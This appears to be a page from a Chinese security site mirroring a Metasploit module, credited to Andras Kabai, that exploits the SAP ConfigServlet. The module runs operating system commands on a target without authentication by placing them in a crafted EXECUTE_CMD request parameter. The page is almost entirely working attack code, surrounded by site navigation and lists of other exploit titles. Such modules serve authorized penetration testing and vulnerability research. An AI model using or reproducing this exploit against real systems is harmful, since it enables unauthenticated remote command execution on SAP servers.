首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SAP ConfigServlet OS Command Execution
来源:metasploit.com 作者:Kabai 发布时间:2013-04-19  

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Remote::HttpClient
 include Msf::Auxiliary::Scanner

 def initialize(info = {})
  super(update_info(info,
   'Name'            => 'SAP ConfigServlet OS command execution',
   'Description'     => %q{
     This module allows execution of operating system commands through
    the SAP ConfigServlet without any authentication.
   },
   'Author'          =>
    [
     'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
     'Andras Kabai', # Metasploit module
    ],
   'License'         => MSF_LICENSE,
   'References'      =>
    [
     [ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf'],
    ],
   'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation
   ))

  register_options(
   [
    Opt::RPORT(50000),
    OptString.new('CMD', [ true, 'The command to execute', 'whoami']),
    OptString.new('PATH', [ true, 'Path to ConfigServlet ', '/ctc/servlet/ConfigServlet']),
    OptBool.new('SSL', [true, 'Use SSL', false])
   ], self.class)
 end

 def run_host(ip)
  begin
   print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
   res = send_request_cgi(
    {
     'uri'    => datastore['PATH'] + '?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(datastore['CMD']),
     'method' => 'GET',
    })
   if !res or res.code != 200
    print_error("#{rhost}:#{rport} - Exploit failed.")
    return
   end
  rescue ::Rex::ConnectionError
   print_error("#{rhost}:#{rport} - Failed to connect to the server")
   return
  end

  if res.body.include?("Process created")
   print_good("#{rhost}:#{rport} - Exploited successfully\n")
   print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
   print_line("#{rhost}:#{rport} - Output: #{res.body}")
  else
   print_error("#{rhost}:#{rport} - Exploit failed.")
   vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
  end
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Free Float FTP Server USER Com
·TP-LINK TL-WR741N / TL-WR741ND
·Ruby Gem md2pdf Command Inject
·Mikrotik Syslog Server Remote
·MinaliC Webserver 2.0.0 - Buff
·MinaliC Webserver 2.0.0 Buffer
·AT-TFTP Server 2.0 - Stack Bas
·Netgear DGN2200B pppoe.cgi Rem
·KNet Web Server 1.04b - Stack
·FirePHP Firefox Plugin 0.7.1 -
·Nagios Remote Plugin Executor
·Java Applet Reflection Type Co
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved